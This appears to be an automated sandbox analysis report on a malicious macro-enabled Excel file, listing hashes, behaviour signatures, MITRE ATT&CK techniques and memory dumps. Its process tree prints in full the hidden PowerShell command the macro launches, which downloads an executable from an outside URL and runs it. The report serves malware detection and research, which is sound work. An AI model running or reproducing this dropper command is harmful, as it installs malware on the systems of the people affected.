b416b3cd07533aa1e3f322bbf904be65df03dcf08507ef9a683271a3c4848025

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25-11-2024 13:58

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General

Target

b416b3cd07533aa1e3f322bbf904be65df03dcf08507ef9a683271a3c4848025.xlsm
Size

438KB
MD5

9bf51f7bdf35911324a4fbb9235090f7
SHA1

d1abcb2b543a4c0f308dade69d1be6a96f356a3b
SHA256

b416b3cd07533aa1e3f322bbf904be65df03dcf08507ef9a683271a3c4848025
SHA512

c678628535508e250605babc13d899c598ab1466294b7917d583b577fb5362346b47952d684622c445512753980329ecc513934a7391b7511f7fc1588d981aff
SSDEEP

12288:Zl3PBexJxH0cZtSlOSgjG3IWNqAvfTYxv25F3:Z5PBexJJF2cSwG4ofTn55

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2348	2688	powershell.exe	29

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2348	powershell.exe
2348	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2688	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2348	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2348	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2688	EXCEL.EXE
2688	EXCEL.EXE
2688	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 2348	2688	EXCEL.EXE	30
PID 2688 wrote to memory of 2348	2688	EXCEL.EXE	30
PID 2688 wrote to memory of 2348	2688	EXCEL.EXE	30
PID 2688 wrote to memory of 2348	2688	EXCEL.EXE	30

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b416b3cd07533aa1e3f322bbf904be65df03dcf08507ef9a683271a3c4848025.xlsm
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "https://cia.tf/2ed7362e959d42385d4e6d231a6840dd.exe" -OutFile $TempFile; Start-Process $TempFile;
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2348

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2688-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2688-1-0x0000000071F4D000-0x0000000071F58000-memory.dmp

Filesize
44KB

Download
memory/2688-4-0x0000000000860000-0x0000000000960000-memory.dmp

Filesize
1024KB

Download
memory/2688-3-0x0000000000860000-0x0000000000960000-memory.dmp

Filesize
1024KB

Download
memory/2688-2-0x0000000000860000-0x0000000000960000-memory.dmp

Filesize
1024KB

Download
memory/2688-7-0x0000000071F4D000-0x0000000071F58000-memory.dmp

Filesize
44KB

Download
memory/2688-8-0x0000000000860000-0x0000000000960000-memory.dmp

Filesize
1024KB

Download